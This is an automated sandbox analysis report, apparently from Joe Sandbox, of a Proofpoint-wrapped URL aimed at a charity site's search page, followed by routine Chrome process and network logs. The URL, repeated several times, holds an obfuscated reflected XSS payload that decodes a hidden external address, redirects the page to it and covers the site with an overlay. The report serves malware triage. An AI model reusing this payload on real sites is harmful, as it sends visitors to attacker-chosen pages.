Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://urldefense.com/v3/__https://covenanthousetoronto.ca/?s=*22*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart

Overview

General Information

Sample URL:https://urldefense.com/v3/__https://covenanthousetoronto.ca/?s=*22*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20onUpdated**B7C*
Analysis ID:1300682
Infos:

Detection

Score:20
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Very long command line found
Stores files to the Windows start menu directory

Classification

Process Tree

  • System is w10x64
  • chrome.exe (PID: 3584 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank MD5: 8D1C4713ACB7CC2AAAEE4477C58A80BA)
    • chrome.exe (PID: 3496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1952 --field-trial-handle=1904,i,17923994011528251687,16385674197559425978,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 8D1C4713ACB7CC2AAAEE4477C58A80BA)
  • chrome.exe (PID: 5528 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" "https://urldefense.com/v3/__https://covenanthousetoronto.ca/?s=*22*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20menu.get=*60mime*60*20library.start(*60await*60)*20lib**B20process**A(*60start*60).load*20arch.hand()*20folder.setElementByCode(*60socar*60)**B20contact(*60r*60,*605*60)*20**Aconnect=*60hola*60.fix()*22*3E*3Ciframe*20src=javascript*3A*2F*2Afd7**Aljj*5Bljj.attol1*5Dkhalfyacoleur**Ablanch*2A*2FcodeString=*60win*60*2B*60dow.par*60*2B*60ent.docu*60*2B*60ment.docu*60*2B*60mentEle*60*2B*60ment.st*60*2B*60yle.opa*60*2B*60city=0;url=*5B66,94,94,90,89,16,5,5,73,95,94,94,4,70,83,5,91,93,77,80,64,90,121,71*5D;*2F*2Athat*5B*7el**A5D(setInterval,*_hara*)laard**A3000zblaalo**A3000zb*2A*2Fwin*60*2B*60dow.par*60*2B*60ent.loca*60*2B*60tion.hr*60*2B*60ef=url.map(value=*60*2BString.fromCharCode(62)*2B*60String.fromCharCode(value*5E42)).jo*60*2B*60in('');*2F*2Achw**Echw.toUpUpDown()*2A*2F*60;codeString=codeString.replaceAll(*60salooa*60,*60azefcr*60);executeCode=Function(codeString);*2F*2Athat*5B*ovrir**A5D(sessionStorage,*_selve*)sleep.over**B2A*2FexecuteCode();*2F*2A**Amax.do()*2A*2F*3E*3C*2Fiframe*3E*3Cspan*20style=*60display:block;position:fixed;z-index:997483649;top:0;left:0;width:2000px;height:2000px;backgroundcolor:white;**A3E*3C*2Fspan*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20arch.learning()onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20folder.setElementByCode(*socar*ar*)__;JSUlJX5-JcKnfn4lJcKnfn4lwqclJcKnJX4lwqclJSUlJSUlwqclJcKnJSUlJSUlJcKnJcKnJSUlJSUlwqclJSUlJSXCpyUlJSUlJSUlJcKnJSXCpyUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlfn4lfn7Cp8KnJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlwqfCp8KnJSUlJSUlJS MD5: 8D1C4713ACB7CC2AAAEE4477C58A80BA)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_BITS_3584_1402579487Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\LICENSE.txtJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\Filtering RulesJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\manifest.jsonJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\_metadata\Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\_metadata\verified_contents.jsonJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\manifest.fingerprintJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\LICENSE.txtJump to behavior
Source: unknownDNS traffic detected: queries for: accounts.google.com
Source: unknownNetwork traffic detected: HTTP traffic on port 49708 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49710 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49743
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49720
Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49719 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49720 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49719
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49718
Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49717
Source: unknownNetwork traffic detected: HTTP traffic on port 49715 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49716
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49715
Source: unknownNetwork traffic detected: HTTP traffic on port 49717 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49710
Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49708
Source: unknownNetwork traffic detected: HTTP traffic on port 49716 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49718 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
Source: global trafficHTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=115.0.5790.171&lang=en-GB&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-115.0.5790.171Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global trafficHTTP traffic detected: GET /v3/__https://covenanthousetoronto.ca/?s=*22*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20menu.get=*60mime*60*20library.start(*60await*60)*20lib**B20process**A(*60start*60).load*20arch.hand()*20folder.setElementByCode(*60socar*60)**B20contact(*60r*60,*605*60)*20**Aconnect=*60hola*60.fix()*22*3E*3Ciframe*20src=javascript*3A*2F*2Afd7**Aljj*5Bljj.attol1*5Dkhalfyacoleur**Ablanch*2A*2FcodeString=*60win*60*2B*60dow.par*60*2B*60ent.docu*60*2B*60ment.docu*60*2B*60mentEle*60*2B*60ment.st*60*2B*60yle.opa*60*2B*60city=0;url=*5B66,94,94,90,89,16,5,5,73,95,94,94,4,70,83,5,91,93,77,80,64,90,121,71*5D;*2F*2Athat*5B*7el**A5D(setInterval,*_hara*)laard**A3000zblaalo**A3000zb*2A*2Fwin*60*2B*60dow.par*60*2B*60ent.loca*60*2B*60tion.hr*60*2B*60ef=url.map(value=*60*2BString.fromCharCode(62)*2B*60String.fromCharCode(value*5E42)).jo*60*2B*60in(%27%27);*2F*2Achw**Echw.toUpUpDown()*2A*2F*60;codeString=codeString.replaceAll(*60salooa*60,*60azefcr*60);executeCode=Function(codeString);*2F*2Athat*5B*ovrir**A5D(sessionStorage,*_selve*)sleep.over**B2A*2FexecuteCode();*2F*2A**Amax.do()*2A*2F*3E*3C*2Fiframe*3E*3Cspan*20style=*60display:block;position:fixed;z-index:997483649;top:0;left:0;width:2000px;height:2000px;backgroundcolor:white;**A3E*3C*2Fspan*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20arch.learning()onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20folder.setElementByCode(*socar*ar*)__;JSUlJX5-JcKnfn4lJcKnfn4lwqclJcKnJX4lwqclJSUlJSUlwqclJcKnJSUlJSUlJcKnJcKnJSUlJSUlwqclJSUlJSXCpyUlJSUlJSUlJcKnJSXCpyUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlfn4lfn7Cp8KnJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlwqfCp8KnJSUlJSUlJS HTTP/1.1Host: urldefense.comConnection: keep-alivesec-ch-ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global trafficHTTP traffic detected: GET /jerror HTTP/1.1Host: urldefense.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global trafficHTTP traffic detected: GET /jasset/stylesheets/common.css HTTP/1.1Host: urldefense.comConnection: keep-alivesec-ch-ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://urldefense.com/jerrorAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global trafficHTTP traffic detected: GET /jasset/images/proofpoint_logo.jpeg HTTP/1.1Host: urldefense.comConnection: keep-alivesec-ch-ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://urldefense.com/jerrorAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global trafficHTTP traffic detected: GET /jasset/images/warning.png HTTP/1.1Host: urldefense.comConnection: keep-alivesec-ch-ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://urldefense.com/jerrorAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global trafficHTTP traffic detected: GET /jasset/images/proofpoint_logo.jpeg HTTP/1.1Host: urldefense.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global trafficHTTP traffic detected: GET /jasset/images/favicon.ico HTTP/1.1Host: urldefense.comConnection: keep-alivesec-ch-ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://urldefense.com/jerrorAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global trafficHTTP traffic detected: GET /jasset/images/warning.png HTTP/1.1Host: urldefense.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: global trafficHTTP traffic detected: GET /jasset/images/favicon.ico HTTP/1.1Host: urldefense.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: LICENSE.txt.0.drString found in binary or memory: https://creativecommons.org/.
Source: LICENSE.txt.0.drString found in binary or memory: https://creativecommons.org/compatiblelicenses
Source: LICENSE.txt.0.drString found in binary or memory: https://easylist.to/)
Source: LICENSE.txt.0.drString found in binary or memory: https://github.com/easylist)
Source: unknownHTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: AEC=Ad49MVEVy5CxtQLtYrblzXz4DifLm5q80KxkAsZM0tGClBBQswyzDRIjhA; CONSENT=PENDING+494; SOCS=CAESHAgCEhJnd3NfMjAyMzA4MDMtMF9SQzIaAmVuIAEaBgiA0dCmBg; __Secure-ENID=14.SE=FEqwE5eimu_CzO8QanixDxMiVRDl1S74wJwxQG4kibYxHFlarNLstM6_FtN3tkTBDN7NI-PM3BH3uafw_juj7Kua5Sxw58UIqMyDvhq3JStE-0GsITWS9X0QrbjvmkA5MVBf-Eb4RLTTefnPk1F_g7MJo2hXw4TzaSRHE_HtskdpjjbT9g

System Summary

barindex
Very long command line found
Source: unknownProcess created: Commandline size = 2056
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: Commandline size = 2056Jump to behavior
Source: classification engineClassification label: sus20.win@24/19@10/6
Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1952 --field-trial-handle=1904,i,17923994011528251687,16385674197559425978,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" "https://urldefense.com/v3/__https://covenanthousetoronto.ca/?s=*22*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20menu.get=*60mime*60*20library.start(*60await*60)*20lib**B20process**A(*60start*60).load*20arch.hand()*20folder.setElementByCode(*60socar*60)**B20contact(*60r*60,*605*60)*20**Aconnect=*60hola*60.fix()*22*3E*3Ciframe*20src=javascript*3A*2F*2Afd7**Aljj*5Bljj.attol1*5Dkhalfyacoleur**Ablanch*2A*2FcodeString=*60win*60*2B*60dow.par*60*2B*60ent.docu*60*2B*60ment.docu*60*2B*60mentEle*60*2B*60ment.st*60*2B*60yle.opa*60*2B*60city=0;url=*5B66,94,94,90,89,16,5,5,73,95,94,94,4,70,83,5,91,93,77,80,64,90,121,71*5D;*2F*2Athat*5B*7el**A5D(setInterval,*_hara*)laard**A3000zblaalo**A3000zb*2A*2Fwin*60*2B*60dow.par*60*2B*60ent.loca*60*2B*60tion.hr*60*2B*60ef=url.map(value=*60*2BString.fromCharCode(62)*2B*60String.fromCharCode(value*5E42)).jo*60*2B*60in('');*2F*2Achw**Echw.toUpUpDown()*2A*2F*60;codeString=codeString.replaceAll(*60salooa*60,*60azefcr*60);executeCode=Function(codeString);*2F*2Athat*5B*ovrir**A5D(sessionStorage,*_selve*)sleep.over**B2A*2FexecuteCode();*2F*2A**Amax.do()*2A*2F*3E*3C*2Fiframe*3E*3Cspan*20style=*60display:block;position:fixed;z-index:997483649;top:0;left:0;width:2000px;height:2000px;backgroundcolor:white;**A3E*3C*2Fspan*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20arch.learning()onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20folder.setElementByCode(*socar*ar*)__;JSUlJX5-JcKnfn4lJcKnfn4lwqclJcKnJX4lwqclJSUlJSUlwqclJcKnJSUlJSUlJcKnJcKnJSUlJSUlwqclJSUlJSXCpyUlJSUlJSUlJcKnJSXCpyUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlfn4lfn7Cp8KnJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlwqfCp8KnJSUlJSUlJS
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1952 --field-trial-handle=1904,i,17923994011528251687,16385674197559425978,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" "https://urldefense.com/v3/__https://covenanthousetoronto.ca/?s=*22*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20menu.get=*60mime*60*20library.start(*60await*60)*20lib**B20process**A(*60start*60).load*20arch.hand()*20folder.setElementByCode(*60socar*60)**B20contact(*60r*60,*605*60)*20**Aconnect=*60hola*60.fix()*22*3E*3Ciframe*20src=javascript*3A*2F*2Afd7**Aljj*5Bljj.attol1*5Dkhalfyacoleur**Ablanch*2A*2FcodeString=*60win*60*2B*60dow.par*60*2B*60ent.docu*60*2B*60ment.docu*60*2B*60mentEle*60*2B*60ment.st*60*2B*60yle.opa*60*2B*60city=0;url=*5B66,94,94,90,89,16,5,5,73,95,94,94,4,70,83,5,91,93,77,80,64,90,121,71*5D;*2F*2Athat*5B*7el**A5D(setInterval,*_hara*)laard**A3000zblaalo**A3000zb*2A*2Fwin*60*2B*60dow.par*60*2B*60ent.loca*60*2B*60tion.hr*60*2B*60ef=url.map(value=*60*2BString.fromCharCode(62)*2B*60String.fromCharCode(value*5E42)).jo*60*2B*60in('');*2F*2Achw**Echw.toUpUpDown()*2A*2F*60;codeString=codeString.replaceAll(*60salooa*60,*60azefcr*60);executeCode=Function(codeString);*2F*2Athat*5B*ovrir**A5D(sessionStorage,*_selve*)sleep.over**B2A*2FexecuteCode();*2F*2A**Amax.do()*2A*2F*3E*3C*2Fiframe*3E*3Cspan*20style=*60display:block;position:fixed;z-index:997483649;top:0;left:0;width:2000px;height:2000px;backgroundcolor:white;**A3E*3C*2Fspan*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20arch.learning()onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20folder.setElementByCode(*socar*ar*)__;JSUlJX5-JcKnfn4lJcKnfn4lwqclJcKnJX4lwqclJSUlJSUlwqclJcKnJSUlJSUlJcKnJcKnJSUlJSUlwqclJSUlJSXCpyUlJSUlJSUlJcKnJSXCpyUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlfn4lfn7Cp8KnJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlwqfCp8KnJSUlJSUlJSJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: Google Drive.lnk.0.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Program Files\chrome_BITS_3584_1402579487Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome AppsJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_BITS_3584_1402579487Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\LICENSE.txtJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\Filtering RulesJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\manifest.jsonJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\_metadata\Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\_metadata\verified_contents.jsonJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\manifest.fingerprintJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Program Files\chrome_PuffinComponentUnpacker_BeginUnzipping3584_1556473213\LICENSE.txtJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome AppsJump to behavior
